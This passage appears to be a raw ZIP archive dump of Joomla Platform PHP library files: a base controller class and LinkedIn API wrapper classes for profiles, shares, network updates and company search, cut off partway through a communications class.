application object. * * @since 3.0.0 */ public function getApplication(); /** * Get the input object. * * @return JInput The input object. * * @since 3.0.0 */ public function getInput(); } PK�\,�5d d joomla/controller/base.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Controller * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Application\AbstractApplication; /** * Joomla Platform Base Controller Class * * @since 3.0.0 * @deprecated 4.0 Use the default MVC library */ abstract class JControllerBase implements JController { /** * The application object. * * @var AbstractApplication * @since 3.0.0 */ protected $app; /** * The input object. * * @var JInput * @since 3.0.0 */ protected $input; /** * Instantiate the controller. * * @param JInput $input The input object. * @param AbstractApplication $app The application object. * * @since 3.0.0 */ public function __construct(JInput $input = null, AbstractApplication $app = null) { // Setup dependencies. $this->app = isset($app) ? $app : $this->loadApplication(); $this->input = isset($input) ? $input : $this->loadInput(); } /** * Get the application object. * * @return AbstractApplication The application object. * * @since 3.0.0 */ public function getApplication() { return $this->app; } /** * Get the input object. * * @return JInput The input object. * * @since 3.0.0 */ public function getInput() { return $this->input; } /** * Serialize the controller. * * @return string The serialized controller. * * @since 3.0.0 */ public function serialize() { return serialize($this->input); } /** * Unserialize the controller. * * @param string $input The serialized controller. * * @return JController Supports chaining. * * @since 3.0.0 * @throws UnexpectedValueException if input is not the right class. */ public function unserialize($input) { // Setup dependencies. $this->app = $this->loadApplication(); // Unserialize the input. $this->input = unserialize($input); if (!($this->input instanceof JInput)) { throw new UnexpectedValueException(sprintf('%s::unserialize would not accept a `%s`.', get_class($this), gettype($this->input))); } return $this; } /** * Load the application object. * * @return AbstractApplication The application object. * * @since 3.0.0 */ protected function loadApplication() { return JFactory::getApplication(); } /** * Load the input object. * * @return JInput The input object. * * @since 3.0.0 */ protected function loadInput() { return $this->app->input; } } PK�\TAז��joomla/linkedin/object.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Linkedin API object class for the Joomla Platform. * * @since 3.2.0 */ abstract class JLinkedinObject { /** * @var Registry Options for the Linkedin object. * @since 3.2.0 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.2.0 */ protected $client; /** * @var JLinkedinOAuth The OAuth client. * @since 3.2.0 */ protected $oauth; /** * Constructor. * * @param Registry $options Linkedin options object. * @param JHttp $client The HTTP client object. * @param JLinkedinOAuth $oauth The OAuth client. * * @since 3.2.0 */ public function __construct(Registry $options = null, JHttp $client = null, JLinkedinOAuth $oauth = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); $this->oauth = $oauth; } /** * Method to convert boolean to string. * * @param boolean $bool The boolean value to convert. * * @return string String with the converted boolean. * * @since 3.2.0 */ public function booleanToString($bool) { if ($bool) { return 'true'; } else { return 'false'; } } /** * Get an option from the JLinkedinObject instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JLinkedinObject instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JLinkedinObject This object for method chaining. * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\� ��'�'joomla/linkedin/people.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API People class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinPeople extends JLinkedinObject { /** * Method to get a member's profile. * * @param string $id Member id of the profile you want. * @param string $url The public profile URL. * @param string $fields Request fields beyond the default ones. * @param string $type Choosing public or standard profile. * @param string $language A comma separated list of locales ordered from highest to lowest preference. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getProfile($id = null, $url = null, $fields = null, $type = 'standard', $language = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; $data['format'] = 'json'; // Check if a member id is specified. if ($id) { $base .= 'id=' . $id; } elseif (!$url) { $base .= '~'; } // Check if profile url is specified. if ($url) { $base .= 'url=' . $this->oauth->safeEncode($url); // Choose public profile if (!strcmp($type, 'public')) { $base .= ':public'; } } // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if language is specified. $header = array(); if ($language) { $header = array('Accept-Language' => $language); } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data, $header); return json_decode($response->body); } /** * Method to get a list of connections for a user who has granted access to his/her account. * * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $modified Values are updated or new. * @param string $modifiedSince Value as a Unix time stamp of milliseconds since epoch. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getConnections($fields = null, $start = 0, $count = 500, $modified = null, $modifiedSince = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/connections'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count != 500) { $data['count'] = $count; } // Check if modified is specified. if ($modified) { $data['modified'] = $modified; } // Check if modified_since is specified. if ($modifiedSince) { $data['modified-since'] = $modifiedSince; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get information about people. * * @param string $fields Request fields beyond the default ones. provide 'api-standard-profile-request' * field for out of network profiles. * @param string $keywords Members who have all the keywords anywhere in their profile. * @param string $firstName Members with a matching first name. Matches must be exact. * @param string $lastName Members with a matching last name. Matches must be exactly. * @param string $companyName Members who have a matching company name on their profile. * @param boolean $currentCompany A value of true matches members who currently work at the company specified in the company-name * parameter. * @param string $title Matches members with that title on their profile. * @param boolean $currentTitle A value of true matches members whose title is currently the one specified in the title-name parameter. * @param string $schoolName Members who have a matching school name on their profile. * @param string $currentSchool A value of true matches members who currently attend the school specified in the school-name parameter. * @param string $countryCode Matches members with a location in a specific country. Values are defined in by ISO 3166 standard. * Country codes must be in all lower case. * @param integer $postalCode Matches members centered around a Postal Code. Must be combined with the country-code parameter. * Not supported for all countries. * @param integer $distance Matches members within a distance from a central point. This is measured in miles. * @param string $facets Facet buckets to return, e.g. location. * @param array $facet Array of facet values to search over. Contains values for location, industry, network, language, * current-company, past-company and school, in exactly this order, * null must be specified for an element if no value. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $sort Controls the search result order. There are four options: connections, recommenders, * distance and relevance. * * @return array The decoded JSON response * * @since 3.2.0 */ public function search($fields = null, $keywords = null, $firstName = null, $lastName = null, $companyName = null, $currentCompany = null, $title = null, $currentTitle = null, $schoolName = null, $currentSchool = null, $countryCode = null, $postalCode = null, $distance = null, $facets = null, $facet = null, $start = 0, $count = 10, $sort = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people-search'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if keywords is specified. if ($keywords) { $data['keywords'] = $keywords; } // Check if first_name is specified. if ($firstName) { $data['first-name'] = $firstName; } // Check if last_name is specified. if ($lastName) { $data['last-name'] = $lastName; } // Check if company-name is specified. if ($companyName) { $data['company-name'] = $companyName; } // Check if current_company is specified. if ($currentCompany) { $data['current-company'] = $currentCompany; } // Check if title is specified. if ($title) { $data['title'] = $title; } // Check if current_title is specified. if ($currentTitle) { $data['current-title'] = $currentTitle; } // Check if school_name is specified. if ($schoolName) { $data['school-name'] = $schoolName; } // Check if current_school is specified. if ($currentSchool) { $data['current-school'] = $currentSchool; } // Check if country_code is specified. if ($countryCode) { $data['country-code'] = $countryCode; } // Check if postal_code is specified. if ($postalCode) { $data['postal-code'] = $postalCode; } // Check if distance is specified. if ($distance) { $data['distance'] = $distance; } // Check if facets is specified. if ($facets) { $data['facets'] = $facets; } // Check if facet is specified. if ($facet) { $data['facet'] = array(); for ($i = 0, $iMax = count($facet); $i < $iMax; $i++) { if ($facet[$i]) { if ($i == 0) { $data['facet'][] = 'location,' . $facet[$i]; } if ($i == 1) { $data['facet'][] = 'industry,' . $facet[$i]; } if ($i == 2) { $data['facet'][] = 'network,' . $facet[$i]; } if ($i == 3) { $data['facet'][] = 'language,' . $facet[$i]; } if ($i == 4) { $data['facet'][] = 'current-company,' . $facet[$i]; } if ($i == 5) { $data['facet'][] = 'past-company,' . $facet[$i]; } if ($i == 6) { $data['facet'][] = 'school,' . $facet[$i]; } } } } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count != 10) { $data['count'] = $count; } // Check if sort is specified. if ($sort) { $data['sort'] = $sort; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); if (strpos($fields, 'api-standard-profile-request') === false) { return json_decode($response->body); } // Get header name. $name = explode('"name": "', $response->body); $name = explode('"', $name[1]); $name = $name[0]; // Get header value. $value = explode('"value": "', $response->body); $value = explode('"', $value[1]); $value = $value[0]; // Get request url. $url = explode('"url": "', $response->body); $url = explode('"', $url[1]); $url = $url[0]; // Build header for out of network profile. $header[$name] = $value; // Send the request. $response = $this->oauth->oauthRequest($url, 'GET', $parameters, $data, $header); return json_decode($response->body); } } PK�\$�/99joomla/linkedin/stream.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API Social Stream class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinStream extends JLinkedinObject { /** * Method to add a new share. Note: post must contain comment and/or (title and url). * * @param string $visibility One of anyone: all members or connections-only: connections only. * @param string $comment Text of member's comment. * @param string $title Title of shared document. * @param string $url URL for shared content. * @param string $image URL for image of shared content. * @param string $description Description of shared content. * @param boolean $twitter True to have LinkedIn pass the status message along to a member's tethered Twitter account. * * @return array The decoded JSON response * * @since 3.2.0 * @throws RuntimeException */ public function share($visibility, $comment = null, $title = null, $url = null, $image = null, $description = null, $twitter = false) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/shares'; // Check if twitter is true. if ($twitter) { $base .= '?twitter-post=true'; } // Build xml. $xml = '<share> <visibility> <code>' . $visibility . '</code> </visibility>'; // Check if comment specified. if ($comment) { $xml .= '<comment>' . $comment . '</comment>'; } // Check if title and url are specified. if ($title && $url) { $xml .= '<content> <title>' . $title . '</title> <submitted-url>' . $url . '</submitted-url>'; // Check if image is specified. if ($image) { $xml .= '<submitted-image-url>' . $image . '</submitted-image-url>'; } // Check if descrption id specified. if ($description) { $xml .= '<description>' . $description . '</description>'; } $xml .= '</content>'; } elseif (!$comment) { throw new RuntimeException('Post must contain comment and/or (title and url).'); } $xml .= '</share>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to reshare an existing share. * * @param string $visibility One of anyone: all members or connections-only: connections only. * @param string $id The unique identifier for a share. * @param string $comment Text of member's comment. * @param boolean $twitter True to have LinkedIn pass the status message along to a member's tethered Twitter account. * * @return array The decoded JSON response * * @since 3.2.0 * @throws RuntimeException */ public function reshare($visibility, $id, $comment = null, $twitter = false) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/shares'; // Check if twitter is true. if ($twitter) { $base .= '?twitter-post=true'; } // Build xml. $xml = '<share> <visibility> <code>' . $visibility . '</code> </visibility>'; // Check if comment specified. if ($comment) { $xml .= '<comment>' . $comment . '</comment>'; } $xml .= ' <attribution> <share> <id>' . $id . '</id> </share> </attribution> </share>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to get a particular member's current share. * * @param string $id Member id of the profile you want. * @param string $url The public profile URL. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getCurrentShare($id = null, $url = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if a member id is specified. if ($id) { $base .= 'id=' . $id; } elseif (!$url) { $base .= '~'; } // Check if profile url is specified. if ($url) { $base .= 'url=' . $this->oauth->safeEncode($url); } $base .= ':(current-share)'; // Set request parameters. $data['format'] = 'json'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get a particular member's current share. * * @param string $id Member id of the profile you want. * @param string $url The public profile URL. * @param boolean $self Used to return member's feed. Omitted to return aggregated network feed. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getShareStream($id = null, $url = null, $self = true) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if a member id is specified. if ($id) { $base .= $id; } elseif (!$url) { $base .= '~'; } // Check if profile url is specified. if ($url) { $base .= 'url=' . $this->oauth->safeEncode($url); } $base .= '/network'; // Set request parameters. $data['format'] = 'json'; $data['type'] = 'SHAR'; // Check if self is true if ($self) { $data['scope'] = 'self'; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get the users network updates. * * @param string $id Member id. * @param boolean $self Used to return member's feed. Omitted to return aggregated network feed. * @param mixed $type String containing any valid Network Update Type from the table or an array of strings * to specify more than one Network Update type. * @param integer $count Number of updates to return, with a maximum of 250. * @param integer $start The offset by which to start Network Update pagination. * @param string $after Timestamp after which to retrieve updates. * @param string $before Timestamp before which to retrieve updates. * @param boolean $hidden Whether to display updates from people the member has chosen to "hide" from their update stream. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getNetworkUpdates($id = null, $self = true, $type = null, $count = 0, $start = 0, $after = null, $before = null, $hidden = false) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/'; // Check if a member id is specified. if ($id) { $base .= $id; } else { $base .= '~'; } $base .= '/network/updates'; // Set request parameters. $data['format'] = 'json'; // Check if self is true. if ($self) { $data['scope'] = 'self'; } // Check if type is specified. if ($type) { $data['type'] = $type; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if after is specified. if ($after) { $data['after'] = $after; } // Check if before is specified. if ($before > 0) { $data['before'] = $before; } // Check if hidden is true. if ($hidden) { $data['hidden'] = $hidden; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get information about the current member's network. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getNetworkStats() { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/network/network-stats'; // Set request parameters. $data['format'] = 'json'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get the users network updates. * * @param string $body The actual content of the update. You can use HTML to include links to the user name and the content the user * created. Other HTML tags are not supported. All body text should be HTML entity escaped and UTF-8 compliant. * * @return array The decoded JSON response * * @since 3.2.0 */ public function postNetworkUpdate($body) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/person-activities'; // Build the xml. $xml = '<activity locale="en_US"> <content-type>linkedin-html</content-type> <body>' . $body . '</body> </activity>'; $header['Content-Type'] = 'text/xml'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to retrieve all comments for a given network update. * * @param string $key update/update-key representing an update. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getComments($key) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/network/updates/key=' . $key . '/update-comments'; // Set request parameters. $data['format'] = 'json'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to post a new comment to an existing update. * * @param string $key update/update-key representing an update. * @param string $comment Maximum length of 700 characters * * @return array The decoded JSON response * * @since 3.2.0 */ public function postComment($key, $comment) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/network/updates/key=' . $key . '/update-comments'; // Build the xml. $xml = '<update-comment> <comment>' . $comment . '</comment> </update-comment>'; $header['Content-Type'] = 'text/xml'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to retrieve the complete list of people who liked an update. * * @param string $key update/update-key representing an update. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getLikes($key) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/network/updates/key=' . $key . '/likes'; // Set request parameters. $data['format'] = 'json'; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to like or unlike an update. * * @param string $key Update/update-key representing an update. * @param boolean $like True to like update, false otherwise. * * @return array The decoded JSON response * * @since 3.2.0 */ private function _likeUnlike($key, $like) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/people/~/network/updates/key=' . $key . '/is-liked'; // Build xml. $xml = '<is-liked>' . $this->booleanToString($like) . '</is-liked>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header); return $response; } /** * Method used to like an update. * * @param string $key Update/update-key representing an update. * * @return array The decoded JSON response * * @since 3.2.0 */ public function like($key) { return $this->_likeUnlike($key, true); } /** * Method used to unlike an update. * * @param string $key Update/update-key representing an update. * * @return array The decoded JSON response * * @since 3.2.0 */ public function unlike($key) { return $this->_likeUnlike($key, false); } } PK�\�����joomla/linkedin/linkedin.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Joomla Platform class for interacting with a Linkedin API instance. * * @since 3.2.0 */ class JLinkedin { /** * @var Registry Options for the Linkedin object. * @since 3.2.0 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.2.0 */ protected $client; /** * @var JLinkedinOAuth The OAuth client. * @since 3.2.0 */ protected $oauth; /** * @var JLinkedinPeople Linkedin API object for people. * @since 3.2.0 */ protected $people; /** * @var JLinkedinGroups Linkedin API object for groups. * @since 3.2.0 */ protected $groups; /** * @var JLinkedinCompanies Linkedin API object for companies. * @since 3.2.0 */ protected $companies; /** * @var JLinkedinJobs Linkedin API object for jobs. * @since 3.2.0 */ protected $jobs; /** * @var JLinkedinStream Linkedin API object for social stream. * @since 3.2.0 */ protected $stream; /** * @var JLinkedinCommunications Linkedin API object for communications. * @since 3.2.0 */ protected $communications; /** * Constructor. * * @param JLinkedinOauth $oauth OAuth object * @param Registry $options Linkedin options object. * @param JHttp $client The HTTP client object. * * @since 3.2.0 */ public function __construct(JLinkedinOauth $oauth = null, Registry $options = null, JHttp $client = null) { $this->oauth = $oauth; $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); // Setup the default API url if not already set. $this->options->def('api.url', 'https://api.linkedin.com'); } /** * Magic method to lazily create API objects * * @param string $name Name of property to retrieve * * @return JLinkedinObject Linkedin API object (statuses, users, favorites, etc.). * * @since 3.2.0 * @throws InvalidArgumentException */ public function __get($name) { $class = 'JLinkedin' . ucfirst($name); if (class_exists($class)) { if (false == isset($this->$name)) { $this->$name = new $class($this->options, $this->client, $this->oauth); } return $this->$name; } throw new InvalidArgumentException(sprintf('Argument %s produced an invalid class name: %s', $name, $class)); } /** * Get an option from the JLinkedin instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.2.0 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the Linkedin instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JLinkedin This object for method chaining. * * @since 3.2.0 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\��ˬ}+}+joomla/linkedin/companies.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API Companies class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinCompanies extends JLinkedinObject { /** * Method to retrieve companies using a company ID, a universal name, or an email domain. * * @param integer $id The unique internal numeric company identifier. * @param string $name The unique string identifier for a company. * @param string $domain Company email domains. * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 * @throws RuntimeException */ public function getCompanies($id = null, $name = null, $domain = null, $fields = null) { // At least one value is needed to retrieve data. if ($id == null && $name == null && $domain == null) { // We don't have a valid entry throw new RuntimeException('You must specify a company ID, a universal name, or an email domain.'); } $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/companies'; if ($id && $name) { $base .= '::(' . $id . ',universal-name=' . $name . ')'; } elseif ($id) { $base .= '/' . $id; } elseif ($name) { $base .= '/universal-name=' . $name; } // Set request parameters. $data['format'] = 'json'; if ($domain) { $data['email-domain'] = $domain; } // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to read shares for a particular company . * * @param string $id The unique company identifier. * @param string $type Any valid Company Update Type from the table: https://developer.linkedin.com/reading-company-updates. * @param integer $count Maximum number of updates to return. * @param integer $start The offset by which to start Network Update pagination. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getUpdates($id, $type = null, $count = 0, $start = 0) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/companies/' . $id . '/updates'; // Set request parameters. $data['format'] = 'json'; // Check if type is specified. if ($type) { $data['event-type'] = $type; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to search across company pages. * * @param string $fields Request fields beyond the default ones. * @param string $keywords Members who have all the keywords anywhere in their profile. * @param boolean $hq Matching companies by the headquarters location. When this is set to "true" and a location facet is used, * this restricts returned companies to only those whose headquarters resides in the specified location. * @param string $facets Facet buckets to return, e.g. location. * @param array $facet Array of facet values to search over. Contains values for location, industry, network, company-size, * num-followers-range and fortune, in exactly this order, null must be specified for an element if no value. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * @param string $sort Controls the search result order. There are four options: relevance, relationship, * followers and company-size. * * @return array The decoded JSON response * * @since 3.2.0 */ public function search($fields = null, $keywords = null, $hq = false, $facets = null, $facet = null, $start = 0, $count = 0, $sort = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/company-search'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if keywords is specified. if ($keywords) { $data['keywords'] = $keywords; } // Check if hq is true. if ($hq) { $data['hq-only'] = $hq; } // Check if facets is specified. if ($facets) { $data['facets'] = $facets; } // Check if facet is specified. if ($facet) { $data['facet'] = array(); for ($i = 0, $iMax = count($facet); $i < $iMax; $i++) { if ($facet[$i]) { if ($i == 0) { $data['facet'][] = 'location,' . $facet[$i]; } if ($i == 1) { $data['facet'][] = 'industry,' . $facet[$i]; } if ($i == 2) { $data['facet'][] = 'network,' . $facet[$i]; } if ($i == 3) { $data['facet'][] = 'company-size,' . $facet[$i]; } if ($i == 4) { $data['facet'][] = 'num-followers-range,' . $facet[$i]; } if ($i == 5) { $data['facet'][] = 'fortune,' . $facet[$i]; } } } } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Check if sort is specified. if ($sort) { $data['sort'] = $sort; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get a list of companies the current member is following. * * @param string $fields Request fields beyond the default ones. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getFollowed($fields = null) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/following/companies'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to follow a company. * * @param string $id The unique identifier for a company. * * @return array The decoded JSON response * * @since 3.2.0 */ public function follow($id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 201); // Set the API base $base = '/v1/people/~/following/companies'; // Build xml. $xml = '<company><id>' . $id . '</id></company>'; // Build the request path. $path = $this->getOption('api.url') . $base; $header['Content-Type'] = 'text/xml'; // Send the request. $response = $this->oauth->oauthRequest($path, 'POST', $parameters, $xml, $header); return $response; } /** * Method to unfollow a company. * * @param string $id The unique identifier for a company. * * @return array The decoded JSON response * * @since 3.2.0 */ public function unfollow($id) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the success response code. $this->oauth->setOption('success_code', 204); // Set the API base $base = '/v1/people/~/following/companies/id=' . $id; // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'DELETE', $parameters); return $response; } /** * Method to get a collection of suggested companies for the current user. * * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getSuggested($fields = null, $start = 0, $count = 0) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/people/~/suggestions/to-follow/companies'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } /** * Method to get a collection of suggested companies for the current user. * * @param string $id The unique identifier for a company. * @param string $fields Request fields beyond the default ones. * @param integer $start Starting location within the result set for paginated returns. * @param integer $count The number of results returned. * * @return array The decoded JSON response * * @since 3.2.0 */ public function getProducts($id, $fields = null, $start = 0, $count = 0) { $token = $this->oauth->getToken(); // Set parameters. $parameters = array( 'oauth_token' => $token['key'], ); // Set the API base $base = '/v1/companies/' . $id . '/products'; $data['format'] = 'json'; // Check if fields is specified. if ($fields) { $base .= ':' . $fields; } // Check if start is specified. if ($start > 0) { $data['start'] = $start; } // Check if count is specified. if ($count > 0) { $data['count'] = $count; } // Build the request path. $path = $this->getOption('api.url') . $base; // Send the request. $response = $this->oauth->oauthRequest($path, 'GET', $parameters, $data); return json_decode($response->body); } } PK�\��R��"joomla/linkedin/communications.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Linkedin * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Linkedin API Social Communications class for the Joomla Platform. * * @since 3.2.0 */ class JLinkedinCommunications extends JLinkedinObject { /** * Method used to invite people. * * @param string $email A string containing email of the recipient. * @param string $firstName A string containing first name of the recipient. * @param string $lastName A string containing last name of the recipient. * @param string $subject The subject of the message that will be sent to the recipient * @param string $body 